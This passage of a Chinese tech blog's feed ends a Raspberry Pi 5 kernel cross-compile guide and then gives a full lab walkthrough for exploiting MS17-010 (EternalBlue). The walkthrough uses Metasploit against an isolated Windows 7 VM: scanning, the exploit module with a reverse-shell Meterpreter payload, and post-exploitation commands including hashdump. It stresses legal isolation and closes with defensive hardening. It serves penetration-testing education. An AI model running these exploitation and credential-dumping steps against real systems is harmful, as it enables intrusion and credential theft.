class="built_in">sudo</span> <span class="built_in">sync</span>   <span class="comment"># boot 分区是 FAT，写完同步一下再重启更稳妥</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">  <span class="built_in">echo</span> <span class="string">&quot;启动文件不完整，请勿重启&quot;</span> &gt;&amp;2</span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></table></figure><p>有两点需要注意。第一，<code>zoned/cmdline.txt</code> 是安装时复制的快照，之后只要修改了 <code>/boot/firmware/cmdline.txt</code>，例如根分区 PARTUUID、串口控制台、cgroup 或其他内核启动参数，都要重新复制一份到 <code>zoned/</code>。第二，本文测试机从 SD 卡上的 ext4 根分区启动，相关存储与文件系统驱动均为内置，实测不需要额外制作 initramfs。如果根分区使用了 btrfs、LUKS、LVM 或特殊存储控制器，或者现有系统本身依赖 initramfs，则需要为自编内核生成匹配的 initramfs 并放入 <code>zoned/</code>（<code>auto_initramfs=1</code> 时固件按 <code>kernel_2712.img</code> 在同目录查找 <code>initramfs_2712</code>）。</p><p><img src="https://img.gulugulublog.com/posts/raspberry-pi-5-kernel-cross-compile-zoned/QQ20260724-211612.png" alt=""></p><p>不使用 initramfs 引导还存在一个连带问题。内核直接挂载的根文件系统在 <code>/proc/mounts</code> 中显示为 <code>/dev/root</code>，这并不是一个真实存在的设备节点。Pi OS 默认的 <code>MODULES=dep</code> 模式要求 <code>update-initramfs</code> 能够解析根设备，因此在运行自编内核期间，任何触发 initramfs 重建的 apt 操作，例如安装带有钩子的软件包或更新官方内核，都会报出 <code>mkinitramfs: failed to determine device for /</code> 错误并中断执行，dpkg 会因此停留在未配置完成的状态。解决办法是修改 <code>/etc/initramfs-tools/initramfs.conf</code>，将 <code>MODULES=dep</code> 改为 <code>MODULES=most</code>，然后执行 <code>sudo dpkg --configure -a</code> 完成剩余的配置。这一修改的唯一影响是官方内核的 initramfs 体积会略微增大。</p><p>重启：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> reboot</span><br></pre></td></tr></table></figure><h2 id="7-验证">7 验证</h2><p>重启完成后，先确认内核版本与页大小：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">uname</span> -r              <span class="comment"># 应与第4节 kernelrelease 的输出一致</span></span><br><span class="line">getconf PAGE_SIZE     <span class="comment"># 预期为 4096</span></span><br><span class="line">lsblk -d -o NAME,MODEL,SIZE,ZONED</span><br></pre></td></tr></table></figure><p>HC620 应出现在列表中，ZONED 列显示 <code>host-managed</code>。随后针对具体设备做进一步确认。设备名以 <code>lsblk</code> 的实际输出为准，经 USB-SATA 桥接时不一定是 sda：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /sys/block/&lt;设备名&gt;/queue/zoned   <span class="comment"># 预期 host-managed</span></span><br><span class="line"><span class="built_in">sudo</span> dmesg | grep -Ei <span class="string">&#x27;zoned|zbc|host-managed&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://img.gulugulublog.com/posts/raspberry-pi-5-kernel-cross-compile-zoned/20260724180729204.png" alt=""></p><p>最后确认 dm-zoned 与 zonefs 两个模块的来源：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">modinfo -n dm-zoned zonefs</span><br></pre></td></tr></table></figure><p>输出的两条路径都应位于当前 <code>uname -r</code> 对应的 <code>/lib/modules/&lt;内核版本&gt;/</code> 目录下，本文实测示例为 <code>/lib/modules/6.18.39-v8-4k-zoned+/</code>。验证完成后，分区与格式化操作与<a href="https://www.catwhiteangel.com/hc620-hm-smr-raspberry-pi-5/">前文</a>一致，直接参照执行即可。</p><h2 id="8-回滚">8 回滚</h2><p>如需恢复官方内核，注释或删除 <code>config.txt</code> 中的 <code>os_prefix=zoned/</code> 一行并重启即可。官方内核、官方设备树和官方 <code>cmdline.txt</code> 全程未做改动，删除前缀后系统会自动回到原有启动文件，保留 <code>[all]</code> 行没有影响。无论编译配置有误还是新版本存在问题，回滚成本仅为一次重启，这是本方案在可维护性上最大的优势。</p><p>如果系统已经无法引导，可将 SD 卡插入其他机器直接修改 <code>config.txt</code>。boot 分区为 FAT 格式，在任意操作系统上均可读写。</p><h2 id="9-跟版更新">9 跟版更新</h2><p>需要先明确更新机制。用户态软件包仍会通过 apt 正常接收安全更新，apt 也会照常更新官方内核文件（<code>os_prefix</code> 目录之外的部分），但<strong>正在引导的自编内核不会随之自动升级</strong>。内核的漏洞修复与版本合并需要手动跟版、重新编译并安装。具体流程为重复上述步骤：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> linux</span><br><span class="line">git fetch --depth=1 origin rpi-6.18.y</span><br><span class="line">git reset --hard FETCH_HEAD   <span class="comment"># 重置到刚抓取的提交</span></span><br><span class="line">git rev-parse --short HEAD</span><br><span class="line"></span><br><span class="line">make ARCH=arm64 mrproper   <span class="comment"># 清除旧 .config 和构建产物</span></span><br><span class="line"><span class="comment"># 完整重放第 3 节：重新生成新版 bcm2712_defconfig，</span></span><br><span class="line"><span class="comment"># 再应用 scripts/config 差异并执行 olddefconfig</span></span><br><span class="line"><span class="comment"># 之后按原流程编译、打包、传输、安装</span></span><br></pre></td></tr></table></figure><p>必须<strong>完整</strong>重放上述步骤，包括 <code>bcm2712_defconfig</code> 这一步，不要沿用旧版 <code>.config</code>。官方 defconfig 在新版本中可能存在增删，直接沿用旧配置会偏离“官方默认加少量差异”的原则，配置差异会随版本推移不断累积。</p><p>模块目录以完整内核版本号（基础版本 + LOCALVERSION）命名，基础版本从 6.18.39 更新到 6.18.40 后，模块会安装到新目录而非覆盖旧目录。确认旧自编内核不再用于引导后，可手动删除对应的 <code>/lib/modules/</code> 目录。官方内核的模块目录必须始终保留，回滚操作依赖这些文件。重复构建同一基础版本则无需特殊处理，第六节的安装命令本身采用先删后装的方式，不会残留已从配置中移除的旧模块。</p><p>建议将第3至5节的命令整理为脚本并纳入 dotfiles 管理，跟版时执行一次即可完成打包。可定期检查 <code>rpi-6.18.y</code> 分支是否发布了新的补丁版本，遇到安全公告或重要修复时及时重新编译。</p><h2 id="结语">结语</h2><p>到这里，从配置、编译、打包到安装、验证、回滚的完整流程已经完成。整套方案的核心只有两点：用 <code>scripts/config</code> 显式表达与官方 defconfig 的差异，用 <code>os_prefix</code> 把自编内核的启动文件整体隔离。前者保证跟版重编可以逐条复现，后者保证任何环节出问题都能用一次重启退回官方内核。</p>]]>
    </content>
    <id>https://www.catwhiteangel.com/raspberry-pi-5-kernel-cross-compile-zoned/</id>
    <link href="https://www.catwhiteangel.com/raspberry-pi-5-kernel-cross-compile-zoned/"/>
    <published>2026-07-23T10:31:00.000Z</published>
    <summary>
      <![CDATA[<h1>树莓派 5 内核交叉编译速通——为 HM-SMR 硬盘启用 zoned 支持</h1>
<p>这是<a href="https://www.catwhiteangel.com/hc620-hm-smr-raspberry-pi-5/">Ultrastar DC HC620 分析与实战——树莓派 5 驱动主机管理式 SMR 硬盘</a>的续篇。前文提过，Raspberry Pi OS 官方内核的 <code>bcm2712_defconfig</code> 没有启用 <code>CONFIG_BLK_DEV_ZONED</code>，主机管理式叠瓦（Host-Managed SMR，HM-SMR）盘接上以后，内核会直接拒绝为它创建块设备节点。所以想用 HC620，自己编译内核这一步省不掉。</p>
<p>本文的做法是在一台 x86_64 的 Ubuntu Desktop 26.04 虚拟机里交叉编译树莓派内核，打好包传到 Pi 5 上安装。官方内核、设备树和 <code>cmdline.txt</code> 全部原样保留，只在 <code>config.txt</code> 末尾加一行 <code>os_prefix</code> 做启动选择，回滚时删掉这一行重启就行。</p>]]>
    </summary>
    <title>树莓派 5 内核交叉编译速通——为 HM-SMR 硬盘启用 zoned 支持</title>
    <updated>2026-07-23T10:31:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Linux Security" scheme="https://www.catwhiteangel.com/categories/Linux-Security/"/>
    <category term="Metasploit" scheme="https://www.catwhiteangel.com/tags/Metasploit/"/>
    <category term="MS17-010" scheme="https://www.catwhiteangel.com/tags/MS17-010/"/>
    <category term="EternalBlue" scheme="https://www.catwhiteangel.com/tags/EternalBlue/"/>
    <category term="Penetration Testing" scheme="https://www.catwhiteangel.com/tags/Penetration-Testing/"/>
    <category term="Kali Linux" scheme="https://www.catwhiteangel.com/tags/Kali-Linux/"/>
    <content>
      <![CDATA[<h1>MS17-010（EternalBlue）渗透实战——从隔离靶场到拿下 SYSTEM</h1><p>很多人第一次实际&quot;打进&quot;一台机器，用的都是 MS17-010（EternalBlue，永恒之蓝），我也是。当年比赛集训，教练拉起一台没打补丁的 Win7，让我们照着一串命令敲下去，回车之后屏幕上出现了 <code>meterpreter &gt;</code> 提示符。这是我接触渗透的第一个实践，后来虽然没往这个方向发展，但一直记着。</p><p>这是渗透实战系列的第一篇。它不教你攻击他人系统，而是带你在一个完全隔离、完全属于自己的环境里，把这个早已被修复多年的经典漏洞从头到尾复现一遍：理解每一步在做什么，最后再从防御角度说明它为什么在 2017 年造成了那么大范围的影响。</p><span id="more"></span><h2 id="0-写在前面：合法性与靶机隔离">0　写在前面：合法性与靶机隔离</h2><p>先把最重要的话放在最前面，因为这不只是免责声明，它直接决定了你的网络怎么搭。</p><div class="note danger flat"><p>本文所有操作只能在你<strong>完全拥有、且与任何真实网络物理或逻辑隔离</strong>的实验环境中进行。未经授权对任何不属于你的系统进行扫描或利用，在几乎所有司法辖区都是刑事犯罪。这条没有灰色地带。</p></div><p>除了&quot;违不违法&quot;，这里还有一个纯技术层面的理由：MS17-010 属于<strong>可被蠕虫利用（wormable）的预身份认证漏洞</strong>。未打补丁的主机本身不会主动去传染别人，但一旦它感染了具备横向扫描和自我复制能力的恶意代码，就会成为下一跳传播节点。WannaCry 曾主要利用 EternalBlue 扩散，NotPetya 也把它作为多种传播手段之一。</p><p>正因为它有这种传播潜力，你的靶机绝对不能用 <strong>Bridged</strong>（桥接会让它直接出现在你的物理局域网里）。<strong>NAT</strong> 也不适合这种实验——它虽然不会把靶机直接暴露到物理网，但通常仍会给靶机提供出站访问能力，并可能通过宿主机的路由摸到其他网段。VMware 把 Bridged、NAT、Host-only 三种模式区分得很清楚，其中 NAT 共享宿主机的网络连接，只有 <strong>Host-only</strong> 才是真正的私有网络。正确做法是用一个自定义 VMnet：不连 NAT 服务、不给宿主机装虚拟网卡、也没有默认网关，只让两台实验机互通。</p><h2 id="1-实验环境与网络拓扑">1 实验环境与网络拓扑</h2><p>我们不做嵌套虚拟化，两台虚拟机都直接运行在宿主机的 VMware Workstation 中，省内存也更干净。整套环境就两台虚拟机，挂在同一个隔离网段上：</p><table><thead><tr><th>角色</th><th>主机</th><th>系统</th><th>IP</th><th>网卡</th></tr></thead><tbody><tr><td>攻击机</td><td><code>kali-attacker</code></td><td>Kali Linux（rolling）</td><td><code>192.168.66.10</code></td><td>VMnet10</td></tr><tr><td>靶机</td><td><code>win7-victim</code></td><td>Windows 7 SP1 x64</td><td><code>192.168.66.20</code></td><td>VMnet10</td></tr></tbody></table><p>网段用 <code>192.168.66.0/24</code>，<strong>故意避开</strong>你现有 lab 的 <code>10.0.x.x</code> 业务网，一眼就能看出这是一个独立的隔离区。这个网里没有网关、没有 DNS、不通外网——两台机器只能互相看见对方。</p><h3 id="在-Workstation-里建隔离网段（必需）">在 Workstation 里建隔离网段（必需）</h3><p>打开 <strong>Edit → Virtual Network Editor</strong>（需要管理员权限），新增一个网络，设为 <strong>Host-only</strong>：</p><ul><li>Name：<code>VMnet10</code></li><li>Subnet IP：<code>192.168.66.0</code>，Subnet mask：<code>255.255.255.0</code></li><li><strong>取消勾选</strong> “Connect a host virtual adapter to this network”（不需要宿主机也插进这个网，越少连接越干净）</li><li><strong>取消勾选</strong> “Use local DHCP service”（我们手动配静态 IP）</li></ul><p><img src="https://img.gulugulublog.com/posts/pentest-lab-01-ms17-010-eternalblue/20260719020216808.png" alt=""></p><p>然后把两台虚拟机的网络适配器都改成 <strong>Custom: Specific virtual network → VMnet10</strong>。这一步做完，靶机就完全隔离了。</p><div class="note warning flat"><p>建好后先确认两台虚拟机都只挂着 VMnet10 这一块网卡，没有残留的 NAT 或 Bridged 网卡。再查路由表确认没有出口：Win7 执行 <code>route print</code>，不应看到目标和掩码均为 <code>0.0.0.0</code> 的默认路由；Kali 执行 <code>ip route</code>，不应出现任何 <code>default via …</code>。最后确认两台机能互相 <code>ping</code> 通即可。别只靠 ping 外网来判断隔离，对方屏蔽 ICMP 也会让你误以为断网了。</p></div><h2 id="2-准备攻击机：Kali">2 准备攻击机：Kali</h2><p>Kali 自带 Metasploit，基本不用额外装东西。装好系统后，把它的 VMnet10 网卡配成静态 <code>192.168.66.10</code>（图形界面或 <code>/etc/network/interfaces</code> 都行），不用填网关。</p><p>进系统后确认工具链就绪。Metasploit 没有数据库也能正常跑扫描和利用模块，数据库只是用来归置主机、服务、会话、凭据这些结果的：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> msfdb init</span><br><span class="line">msfconsole -q</span><br><span class="line">msf6 &gt; db_status</span><br><span class="line">[*] Connected to msf. Connection <span class="built_in">type</span>: postgresql.</span><br></pre></td></tr></table></figure><p>连上数据库后，可以用 <code>hosts</code>、<code>services</code>、<code>vulns</code> 等命令整理结果。有一点容易踩坑：在普通终端里直接跑的 <code>nmap</code> <strong>不会</strong>自动进库，要让结果入库，得在 msfconsole 里用 <code>db_nmap</code>，或者用 <code>db_import</code> 导入 Nmap 的 XML 结果。</p><p><img src="https://img.gulugulublog.com/posts/pentest-lab-01-ms17-010-eternalblue/20260719022715072.png" alt=""></p><h2 id="3-准备靶机：让-Win7-“可被打”">3　准备靶机：让 Win7 “可被打”</h2><h3 id="安装并保持-脆弱">安装并保持&quot;脆弱&quot;</h3><p>装系统时一路默认即可，重点是装完之后<strong>别让它变安全</strong>。</p><p>这里有个最常见的坑：<strong>镜像的 build 版本</strong>。请使用未集成后续安全更新的 Windows 7 SP1 x64 原始介质，build 号为 <code>7601.17514</code>（2011 年 SP1 RTM）。不要选择文件名标着 <code>Updated 2017/2018/2019</code>、或 build 为 <code>7601.24xxx</code> 的后期刷新介质——例如 <code>7601.24214.180801</code> 是 2018 年 8 月的 escrow 刷新版，集成了后续更新，装上后大概率扫不出漏洞。MS17-010 早在 2017 年 3 月就由 KB4012212、KB4012215 等更新修复，只要镜像里带了这些补丁或之后的月度汇总，靶机就不再表现为易受攻击。这也是很多人&quot;Win7 装好却打不进去&quot;的原因。</p><p>版本选对之后，装完注意几点：</p><ul><li><strong>不要联网、不要安装任何更新</strong>，尤其是 KB4012212、KB4012215，以及包含这些修复的后续月度汇总更新。它本来就在隔离网里，断网是天然状态。</li><li><strong>SMBv1 默认开启</strong>，Win7 出厂就带，不用动。</li><li>把网卡配成静态 <code>192.168.66.20</code>，同样不填网关、不填 DNS。</li></ul><p>为了让 <code>445</code> 端口能被攻击机访问，<strong>更好的做法是只放行 SMB 入站、并把作用域限制在实验网段</strong>，而不是把防火墙整个关掉。在靶机防火墙的高级设置里，启用 “File and Printer Sharing (SMB-In)” 规则，并把远程地址范围限制到 <code>192.168.66.0/24</code>。</p><h3 id="从-Kali-验证靶机可达">从 Kali 验证靶机可达</h3><p>回到 Kali，确认 <code>445</code> 开着：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p 445 192.168.66.20</span><br></pre></td></tr></table></figure><p><img src="https://img.gulugulublog.com/posts/pentest-lab-01-ms17-010-eternalblue/20260719022546911.png" alt=""></p><p>看到 <code>445/tcp open microsoft-ds</code> 就说明 SMB 服务在线、网络打通了，可以进入正题。</p><h2 id="4-漏洞原理：MS17-010-到底是什么">4　漏洞原理：MS17-010 到底是什么</h2><p>MS17-010 是微软在 2017 年发布的一组 SMBv1 安全更新，覆盖 CVE-2017-0143 至 CVE-2017-0148；而 <strong>EternalBlue</strong> 通常特指针对其中 SMBv1 内核内存破坏缺陷（常对应 CVE-2017-0144）构造的那条利用链。</p><p>按 Rapid7 模块的描述，缓冲区溢出发生在服务端函数 <code>Srv!SrvOs2FeaToNt</code> 的内存复制（memmove）过程中，而<strong>导致溢出的错误长度</strong>来自另一个函数 <code>Srv!SrvOs2FeaListSizeToNt</code>——那里把一个 <code>DWORD</code> 的计算结果截断写进了 <code>WORD</code>。攻击者随后通过内核池 grooming，把内存池布置成预期的样子，让越界写覆盖目标结构，最终劫持执行流，在<strong>内核上下文</strong>中取得代码执行能力。</p><p>它之所以危险，叠加了三个属性：<strong>预身份认证</strong>（匿名 null session 就能触发，不需要任何账号）、<strong>内核级</strong>（一旦得手就是最高执行上下文）、<strong>无需交互</strong>（受害者什么都不用点）。这三条同时满足，就构成了蠕虫传播的理想条件，这也是它当年被做成 WannaCry 传播引擎的原因。</p><p>理解了这层，你后面看到 <code>getuid</code> 直接返回 <code>SYSTEM</code> 就不会奇怪了：利用链先在内核里拿到执行能力，再把用户态 payload 注入一个 SYSTEM 权限的进程，所以省掉了通常意义上的提权步骤。</p><h2 id="5-信息收集与漏洞确认：先确认，再开火">5　信息收集与漏洞确认：先确认，再开火</h2><p>养成习惯：<strong>确认目标真的脆弱，再动手</strong>。打之前先扫，既是流程规范，也能避免对着一台其实已经打了补丁的机器白费功夫。</p><h3 id="方法一：nmap-NSE-脚本">方法一：nmap NSE 脚本</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p 445 --script smb-vuln-ms17-010 192.168.66.20</span><br></pre></td></tr></table></figure><p>脆弱的话会看到类似输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Host script results:</span><br><span class="line">| smb-vuln-ms17-010:</span><br><span class="line">|   VULNERABLE:</span><br><span class="line">|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</span><br><span class="line">|     State: VULNERABLE</span><br><span class="line">|     IDs:  CVE:CVE-2017-0143</span><br></pre></td></tr></table></figure><p><img src="https://img.gulugulublog.com/posts/pentest-lab-01-ms17-010-eternalblue/20260719125403859.png" alt=""></p><h3 id="方法二：Metasploit-扫描模块">方法二：Metasploit 扫描模块</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">msf6 &gt; use auxiliary/scanner/smb/smb_ms17_010</span><br><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; set RHOSTS 192.168.66.20</span><br><span class="line">msf6 auxiliary(scanner/smb/smb_ms17_010) &gt; run</span><br><span class="line"></span><br><span class="line">[+] 192.168.66.20:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 ... x64 (64-bit)</span><br></pre></td></tr></table></figure><p><img src="https://img.gulugulublog.com/posts/pentest-lab-01-ms17-010-eternalblue/20260719125440914.png" alt=""></p><p>这里扫描器并不会真去触发 EternalBlue，而是利用<strong>补丁前后对同一个异常 SMB 请求返回结果的差异</strong>来判断。它连接到 <code>IPC$</code>、针对 FID 0 发起一次 transaction——未修补系统通常返回 <code>STATUS_INSUFF_SERVER_RESOURCES</code>，已修补系统则常返回 <code>STATUS_ACCESS_DENIED</code> 或 <code>STATUS_INVALID_HANDLE</code>。这种检测通常比较可靠，但模块输出写的仍是 <code>likely VULNERABLE</code>，所以要把它理解为高可信度的远程判断，而不是绝对证明。</p><h2 id="6-利用：运行-EternalBlue">6　利用：运行 EternalBlue</h2><p>确认脆弱后，加载利用模块：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue</span><br><span class="line">msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show options</span><br></pre></td></tr></table></figure><p><code>show options</code> 里需要你关心的其实只有几个：</p><ul><li><code>RHOSTS</code>：靶机地址，设成 <code>192.168.66.20</code></li><li><code>LHOST</code>：攻击机回连地址，设成 <code>192.168.66.10</code>（也可以直接写网卡名，如 <code>set LHOST eth0</code>，让它自动取 VMnet10 上的 IP）</li><li><code>VERIFY_ARCH</code> / <code>VERIFY_TARGET</code>：默认都是 <code>true</code>，保持不动。对本文的 Win7 目标，模块会核对 SMB 返回的系统信息和 DCE/RPC 探测到的架构，发现不匹配时会<strong>报错并中止利用</strong>。这能降低误选目标的风险，但并不能保证内核利用过程绝不蓝屏</li></ul><p>Payload 本文显式选用 <code>windows/x64/meterpreter/reverse_tcp</code>。当前 EternalBlue 模块只支持 x64 payload（模块架构声明为 <code>ARCH_X64</code>），必须和 Win7 x64 靶机对齐，别用错架构：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">msf6 exploit(...) &gt; set RHOSTS 192.168.66.20</span><br><span class="line">msf6 exploit(...) &gt; set LHOST 192.168.66.10</span><br><span class="line">msf6 exploit(...) &gt; set payload windows/x64/meterpreter/reverse_tcp</span><br><span class="line">msf6 exploit(...) &gt; run</span><br></pre></td></tr></table></figure><p>顺利的话，你会看到一串 <code>[*]</code>、一个 <code>WIN</code> 字样的横幅，然后是你要的提示符：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[*] Meterpreter session 1 opened (192.168.66.10:4444 -&gt; 192.168.66.20:49158)</span><br><span class="line">meterpreter &gt;</span><br></pre></td></tr></table></figure><h3 id="可能出现的情况">可能出现的情况</h3><ul><li><strong>没一次成功，提示 <code>Exploit completed, but no session was created</code></strong>：正常。内核池 grooming 不是每次都成。对本文的 Win7 利用路径，模块内置了 <code>MaxExploitAttempts</code>，默认一次 <code>run</code> 最多尝试 3 次、并逐次加大 grooming 数量；如果跑完仍没会话，手动再 <code>run</code> 一次即可，连续失败就等靶机稳定下来再试。</li><li><strong>靶机突然蓝屏或自己重启</strong>：这是 EternalBlue 的经典副作用。它<strong>不一定</strong>说明你配错了，但也别一概当成&quot;正常现象&quot;——先排除架构（x64 对 x64）、补丁状态、目标版本是否匹配这几项。grooming 失败确实有概率把内核搞崩导致 BSOD，重启靶机重来即可。也正因为这种手法容易把目标打崩、动静大，真实红队行动里会很谨慎地用它。</li><li><strong>打了半天都不进</strong>：先回头确认两件事——靶机 <code>445</code> 还在不在（<code>nmap -p445</code>，蓝屏重启后 SMB 服务要重新起来）、<code>LHOST</code> 是不是 VMnet10 那张网卡的 IP（设错成 Kali 别的网卡，反向连接回不来）。</li></ul><p><img src="https://img.gulugulublog.com/posts/pentest-lab-01-ms17-010-eternalblue/20260719125811371.png" alt=""></p><h2 id="7-后渗透基础：拿到-SYSTEM-之后">7　后渗透基础：拿到 SYSTEM 之后</h2><p>进了会话，先看看自己是谁：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; getuid</span><br><span class="line">Server username: NT AUTHORITY\SYSTEM</span><br></pre></td></tr></table></figure><p>直接就是 <code>SYSTEM</code>。利用链先在<strong>内核上下文</strong>里取得代码执行，再把用户态 Meterpreter payload 注入默认的 <code>spoolsv.exe</code> 这类 SYSTEM 进程，所以最终会话显示为 <code>NT AUTHORITY\SYSTEM</code>。SYSTEM 是本地最高权限的<strong>用户态</strong>上下文之一。</p><p>接下来几个命令可以直观看到控制一台机器意味着什么，也是本篇的收尾：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">meterpreter &gt; sysinfo          # 看系统信息，确认确实是那台 Win7</span><br><span class="line">meterpreter &gt; screenshot       # 截一张靶机当前桌面</span><br><span class="line">meterpreter &gt; hashdump         # 导出本地 SAM 里的账户哈希</span><br></pre></td></tr></table></figure><p><code>hashdump</code> 会导出靶机本地账户的口令哈希。这些哈希<strong>可能</strong>被拿去离线破解。在存在密码复用、或 NTLM / 远程管理条件允许的情况下，还可能帮助向网络里的其他机器横向移动。从单台机器失陷扩散到整个网络，往往就是从这一步开始的。</p><div class="note success flat"><p>到这里，你已经独立完成了一次完整的&quot;确认 → 利用 → 后渗透&quot;闭环：用扫描模块定位脆弱主机、配置并发射 EternalBlue、拿到 SYSTEM 级 Meterpreter 会话。这也是很多人接触渗透时的第一个完整练习。</p></div><h2 id="8-换到防守方：这台机器本不该被打穿">8　换到防守方：这台机器本不该被打穿</h2><p>只会利用还不够，防御视角才是这篇的重点。把前面每一步反过来看，就是一份加固清单：</p><ul><li><p><strong>及时打补丁，别让 SMBv1 裸奔</strong>。这次能被打穿，直接原因就是缺少安全更新、暴露了 SMBv1、以及网络边界控制不足。Windows 7 SP1 的扩展支持已于 2020 年 1 月 14 日结束；符合条件的 Professional、Enterprise、Professional for Embedded Systems 等版本可通过 ESU 获得最长三年的额外安全更新，最后一年在 2023 年 1 月 10 日结束（本文使用的 Ultimate 并不在 ESU 范围内）。系统彻底停更后，新发现的漏洞通常就等不到官方补丁了，EOL 是长期的风险放大器。</p></li><li><p><strong>关闭 SMBv1 服务端</strong>。它是一个已经过时的旧协议，绝大多数现代环境都不应继续使用（少数老旧 NAS、工控或嵌入式设备可能仍依赖它，需单独评估）。注意命令要分系统：</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Set-ItemProperty</span> `</span><br><span class="line">  <span class="literal">-Path</span> <span class="string">&quot;HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot;</span> `</span><br><span class="line">  <span class="literal">-Name</span> SMB1 <span class="literal">-Type</span> DWord <span class="literal">-Value</span> <span class="number">0</span> <span class="literal">-Force</span></span><br></pre></td></tr></table></figure><p>（这只关了服务端；要连 SMBv1 客户端组件一起处理是另一回事，本文不展开。）</p></li><li><p><strong>网络分段</strong>。SMB（445）不应在没有明确业务需求和访问控制的情况下跨信任边界放行。</p></li><li><p><strong>监控与 EDR</strong>。EternalBlue 的内核崩溃、异常 SMB 流量、<code>spoolsv.exe</code> 突然发起外连，这些在有日志和端点检测的环境里都是显眼的告警信号。利用起来简单，但在有监控的环境里并不隐蔽。</p></li></ul><h2 id="结语">结语</h2><p>MS17-010 在技术上已经很老，补丁发布快十年，在持续维护的现代环境里本不该再出现。但遗留系统、专用设备和长期没人更新的网络里，它未必真的绝迹。作为入门第一课它仍然合适：环境简单，一个下午能跑通完整链条。同时足够典型，能说清&quot;少打一个补丁、暴露一个老协议&quot;如何一步步演变成对整台机器的控制。</p>]]>
    </content>
    <id>https://www.catwhiteangel.com/pentest-lab-01-ms17-010-eternalblue/</id>
    <link href="https://www.catwhiteangel.com/pentest-lab-01-ms17-010-eternalblue/"/>
    <published>2026-07-19T12:13:00.000Z</published>
    <summary>在完全隔离的 VMware 靶场里，用 Kali Linux 和 Metasploit 复现 MS17-010（EternalBlue）漏洞：涵盖网络隔离、Win7 靶机搭建、漏洞确认、EternalBlue 利用到 SYSTEM 会话，以及 SMBv1 禁用与网络分段等对应的防御措施。</summary>
    <title>MS17-010（EternalBlue）渗透实战——从隔离靶场到拿下 SYSTEM</title>
    <updated>2026-07-19T12:13:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>还魂灵猫</name>
    </author>
    <category term="Hardware" scheme="https://www.catwhiteangel.com/categories/Hardware/"/>
    <category term="Storage" scheme="https://www.catwhiteangel.com/tags/Storage/"/>
    <category term="Raspberry Pi" scheme="https://www.catwhiteangel.com/tags/Raspberry-Pi/"/>
    <category term="SMR" scheme="https://www.catwhiteangel.com/tags/SMR/"/>
    <category term="Linux" scheme="https://www.catwhiteangel.com/tags/Linux/"/>
    <content>
